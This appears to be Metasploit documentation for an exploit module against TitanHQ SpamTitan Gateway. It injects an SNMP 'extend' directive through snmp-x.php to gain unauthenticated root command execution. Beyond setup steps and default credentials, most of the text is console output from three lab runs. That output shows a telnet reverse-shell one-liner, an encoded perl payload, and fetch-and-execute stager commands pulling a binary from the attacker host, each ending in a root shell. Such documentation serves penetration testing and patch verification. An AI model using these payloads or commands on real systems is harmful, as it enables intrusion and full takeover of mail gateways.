## Vulnerable Application

TitanHQ SpamTitan Gateway is an anti-spam appliance that protects against
unwanted emails and malwares. This module exploits an improper input
sanitization in versions 7.01, 7.02, 7.03 and 7.07 to inject command directives
into the SNMP configuration file and get remote code execution as root. Note
that only version 7.03 needs authentication and no authentication is required
for versions 7.01, 7.02 and 7.07.

First, it sends an HTTP POST request to the `snmp-x.php` page with an `SNMPD`
command directives (`extend` + command) passed to the `community` parameter.
This payload is then added to `snmpd.conf` by the application. Finally, the
module triggers the execution of this command by querying the SNMP server for
the correct OID.

This exploit module has been successfully tested against versions 7.01, 7.02,
7.03, and 7.07.

## Installation

A demo version of the vulnerable application can be downloaded
[here](https://www.titanhq.com/signup/?product_type=spamtitangateway). Since
the latest version of SpamTitan Gateway has this vulnerability fixed and no
demo of the vulnerable versions are available for download, the previous major
release demo has to be used and updates have to be installed manually.

Installation steps:
1. Download SpamTitan Gateway version 6 demo `.ova` image:
   https://stdownload.titanhq.com/vmware/SpamTitan-6-amd64.ova
2. Import it to your favorite virtualization software and start it
3. Access the SpamTitan web user interface from the appliance IP. This IP is
   usually displayed on the welcome page once the virtual machine has boot up.
4. Login with the default credentials:
    - username: `admin`
    - password: `hiadmin`
5. Go to `System Setup` > `System Updates` and click `Start` in the `Check for
  Updates Now` section. It will download all available update patches.
6. From the `Available Updates` section, choose the version you want to test
   and click the `install` button in front of it.

## Verification Steps

1. Install the application (see Installation)
2. Start msfconsole
3. Do: `use exploit/freebsd/webapp/spamtitan_unauth_rce`
4. Do: `set RHOSTS <ip>`
5. Do: `set LHOST <ip>`
6. Do: `run`
7. You should get a shell.

## Options

### TARGETURI
The base path to SpamTitan. Default value is `/`.

### USERNAME
The username to authenticate, if required (depending on SpamTitan Gateway
version). Default value is `admin`.

### PASSWORD
The password to authenticate, if required (depending on SpamTitan Gateway
version). Default value is `hiadmin`.

### COMMUNITY
The SNMP Community String to use (random string by default).

### ALLOWEDIP
The IP address that will be allowed to query the injected `extend` command.
This IP will be added to the SNMP configuration file on the target. This is
typically this host IP address, but can be different if your are in a NAT'ed
network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it
will default to `127.0.0.1`.

### SNMPPORT
The target SNMP port (UDP). Default port is `161`.

## Scenarios

### SpamTitan Gateway v7.01 - target 0 (in-memory command)

```
msf6 > use exploit/freebsd/webapp/spamtitan_unauth_rce
[*] Using configured payload cmd/unix/reverse
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set LHOST 172.16.60.1
LHOST => 172.16.60.1
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set RHOSTS 172.16.60.101
RHOSTS => 172.16.60.101
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set verbose true
verbose => true
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options

Module options (exploit/freebsd/webapp/spamtitan_unauth_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ALLOWEDIP                   no        The IP address that will be allowed to query the injected `extend` command. This IP will be added to the SNMP configuration file on the target. This is typically this host IP address, but can be different if your are in a NAT'ed network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it will default to `127.0.0.1`.
   COMMUNITY  BTMlXXtt         no        The SNMP Community String to use (random string by default)
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RETRIES    1                yes       SNMP Retries
   RHOSTS     172.16.60.101    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (UDP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path to SpamTitan
   TIMEOUT    1                yes       SNMP Timeout
   URIPATH                     no        The URI to use for this exploit (default is random)
   VERSION    1                yes       SNMP Version <1/2c>
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.60.1      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix In-Memory


msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > check

[*] Check if /snmp-x.php exists
[*] 172.16.60.101:80 - The target appears to be vulnerable.
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[+] sh -c '(sleep 4511|telnet 172.16.60.1 4444|while : ; do sh && break; done 2>&1|telnet 172.16.60.1 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 172.16.60.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'perl -e system -e pack -e qq,H244,,qq,7368202d63202728736c65657020333735347c74656c6e6574203137322e31362e36302e3120343434347c7768696c65203a203b20646f20736820262620627265616b3b20646f6e6520323e26317c74656c6e6574203137322e31362e36302e312034343434203e2f6465762f6e756c6c20323e263120262927,'#
[*] Send an SNMP Get-Request to trigger the payload
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ldqlDor8slARqZ0Q;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "Connected: not found\r\nEscape: not found\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.60.1:4444 -> 172.16.60.101:38973) at 2020-10-28 15:56:55 +0100

id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
uname -a
FreeBSD spamtitan.example.com 10.1-RELEASE-p8 FreeBSD 10.1-RELEASE-p8 #1: Wed May  6 10:36:09 IST 2015     root@stbuild-10-amd64.spamtitan.com:/usr/obj/usr/src/sys/SPAMTITAN  amd64
ifconfig
em0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500
	options=9b<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM>
	ether 00:0c:29:cb:1d:73
	inet 172.16.60.101 netmask 0xffffff00 broadcast 172.16.60.255
	nd6 options=29<PERFORMNUD,IFDISABLED,AUTO_LINKLOCAL>
	media: Ethernet autoselect (1000baseT <full-duplex>)
	status: active
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> metric 0 mtu 16384
	options=600003<RXCSUM,TXCSUM,RXCSUM_IPV6,TXCSUM_IPV6>
	inet6 ::1 prefixlen 128
	inet6 fe80::1%lo0 prefixlen 64 scopeid 0x2
	inet 127.0.0.1 netmask 0xff000000
	inet 127.0.0.2 netmask 0xffffffff
	inet 127.0.0.3 netmask 0xffffffff
	nd6 options=21<PERFORMNUD,AUTO_LINKLOCAL>
^C
Abort session 1? [y/N]  y

[*] 172.16.60.101 - Command shell session 1 closed.  Reason: User exit
```

### SpamTitan Gateway v7.01 - target 1 (FreeBSD Dropper - x64)

```
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set target 1
target => 1
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options

Module options (exploit/freebsd/webapp/spamtitan_unauth_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ALLOWEDIP                   no        The IP address that will be allowed to query the injected `extend` command. This IP will be added to the SNMP configuration file on the target. This is typically this host IP address, but can be different if your are in a NAT'ed network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it will default to `127.0.0.1`.
   COMMUNITY  BTMlXXtt         no        The SNMP Community String to use (random string by default)
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RETRIES    1                yes       SNMP Retries
   RHOSTS     172.16.60.101    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (UDP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path to SpamTitan
   TIMEOUT    1                yes       SNMP Timeout
   URIPATH                     no        The URI to use for this exploit (default is random)
   VERSION    1                yes       SNMP Version <1/2c>
   VHOST                       no        HTTP server virtual host


Payload options (bsd/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   CMD    /bin/sh          yes       The command string to execute
   LHOST  172.16.60.1      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   FreeBSD Dropper (x64)


msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[*] Started reverse TCP handler on 172.16.60.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Using URL: http://0.0.0.0:8080/AW6l3kjAO2B
[*] Local IP: http://192.168.1.75:8080/AW6l3kjAO2B
[*] Generated command stager: ["fetch -qo /tmp/BrnPtJiQ http://172.16.60.1:8080/AW6l3kjAO2B", "chmod +x /tmp/BrnPtJiQ", "/tmp/BrnPtJiQ", "rm -f /tmp/BrnPtJiQ"]
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'fetch\ -qo\ /tmp/BrnPtJiQ\ http://172.16.60.1:8080/AW6l3kjAO2B&'#
[*] Send an SNMP Get-Request to trigger the payload
[*] Client 172.16.60.101 (fetch libfetch/2.0) requested /AW6l3kjAO2B
[*] Sending payload to 172.16.60.101 (fetch libfetch/2.0)
[+] SNMP Get-Request response (status=noError): [1] 16531
[*] Command Stager progress -  52.21% done (59/113 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'chmod\ \+x\ /tmp/BrnPtJiQ&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16561
[*] Command Stager progress -  71.68% done (81/113 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c '/tmp/BrnPtJiQ&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16590
[*] Command shell session 2 opened (172.16.60.1:4444 -> 172.16.60.101:16026) at 2020-10-28 15:57:34 +0100
[*] Command Stager progress -  83.19% done (94/113 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'rm\ -f\ /tmp/BrnPtJiQ&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16619
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Server stopped.

id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
uname -a
FreeBSD spamtitan.example.com 10.1-RELEASE-p8 FreeBSD 10.1-RELEASE-p8 #1: Wed May  6 10:36:09 IST 2015     root@stbuild-10-amd64.spamtitan.com:/usr/obj/usr/src/sys/SPAMTITAN  amd64
^C
Abort session 2? [y/N]  y

[*] 172.16.60.101 - Command shell session 2 closed.  Reason: User exit
```

### SpamTitan Gateway v7.01 - target 2 (FreeBSD Dropper - x86)

```
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set target 2
target => 2
msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options

Module options (exploit/freebsd/webapp/spamtitan_unauth_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ALLOWEDIP                   no        The IP address that will be allowed to query the injected `extend` command. This IP will be added to the SNMP configuration file on the target. This is typically this host IP address, but can be different if your are in a NAT'ed network. If not set, `LHOST` will be used instead. If `LHOST` is not set, it will default to `127.0.0.1`.
   COMMUNITY  BTMlXXtt         no        The SNMP Community String to use (random string by default)
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RETRIES    1                yes       SNMP Retries
   RHOSTS     172.16.60.101    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (UDP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The base path to SpamTitan
   TIMEOUT    1                yes       SNMP Timeout
   URIPATH                     no        The URI to use for this exploit (default is random)
   VERSION    1                yes       SNMP Version <1/2c>
   VHOST                       no        HTTP server virtual host


Payload options (bsd/x86/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.60.1      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   FreeBSD Dropper (x86)

msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run

[*] Started reverse TCP handler on 172.16.60.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Check if /snmp-x.php exists
[+] The target appears to be vulnerable.
[*] Using URL: http://0.0.0.0:8080/EtQflZ
[*] Local IP: http://192.168.1.75:8080/EtQflZ
[*] Generated command stager: ["fetch -qo /tmp/uTJGnSFj http://172.16.60.1:8080/EtQflZ", "chmod +x /tmp/uTJGnSFj", "/tmp/uTJGnSFj", "rm -f /tmp/uTJGnSFj"]
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'fetch\ -qo\ /tmp/uTJGnSFj\ http://172.16.60.1:8080/EtQflZ&'#
[*] Send an SNMP Get-Request to trigger the payload
[*] Client 172.16.60.101 (fetch libfetch/2.0) requested /EtQflZ
[*] Sending payload to 172.16.60.101 (fetch libfetch/2.0)
[+] SNMP Get-Request response (status=noError): [1] 16656
[*] Command Stager progress -  50.00% done (54/108 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'chmod\ \+x\ /tmp/uTJGnSFj&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16685
[*] Command Stager progress -  70.37% done (76/108 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c '/tmp/uTJGnSFj&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16714
[*] Command shell session 3 opened (172.16.60.1:4444 -> 172.16.60.101:45568) at 2020-10-28 15:58:09 +0100
[*] Command Stager progress -  82.41% done (89/108 bytes)
[*] Send a request to /snmp-x.php and inject the payload: /bin/tcsh -c 'rm\ -f\ /tmp/uTJGnSFj&'#
[*] Send an SNMP Get-Request to trigger the payload
[+] SNMP Get-Request response (status=noError): [1] 16743
[*] Command Stager progress - 100.00% done (108/108 bytes)
[*] Server stopped.

id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
uname -a
FreeBSD spamtitan.example.com 10.1-RELEASE-p8 FreeBSD 10.1-RELEASE-p8 #1: Wed May  6 10:36:09 IST 2015     root@stbuild-10-amd64.spamtitan.com:/usr/obj/usr/src/sys/SPAMTITAN  amd64
^C
Abort session 3? [y/N]  y

[*] 172.16.60.101 - Command shell session 3 closed.  Reason: User exit
```
